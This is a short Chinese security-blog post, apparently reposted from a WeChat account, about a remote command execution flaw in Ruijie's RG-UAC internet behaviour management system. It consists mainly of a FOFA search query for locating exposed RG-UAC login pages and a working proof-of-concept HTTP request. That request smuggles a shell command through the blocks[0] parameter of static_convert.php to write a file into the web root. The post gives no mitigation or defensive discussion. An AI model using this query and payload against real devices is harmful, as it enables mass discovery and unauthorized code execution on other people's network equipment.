fofa语法
title="RG-UAC登录页面"
POC
GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20'mht666'%20>>%20/var/www/html/mht.txt%0A HTTP/1.1
Host:
Accept: application/json, text/javascript, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
原文始发于微信公众号(棉花糖网络安全圈):锐捷上网行为管理系统naborTable RCE[附POC]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论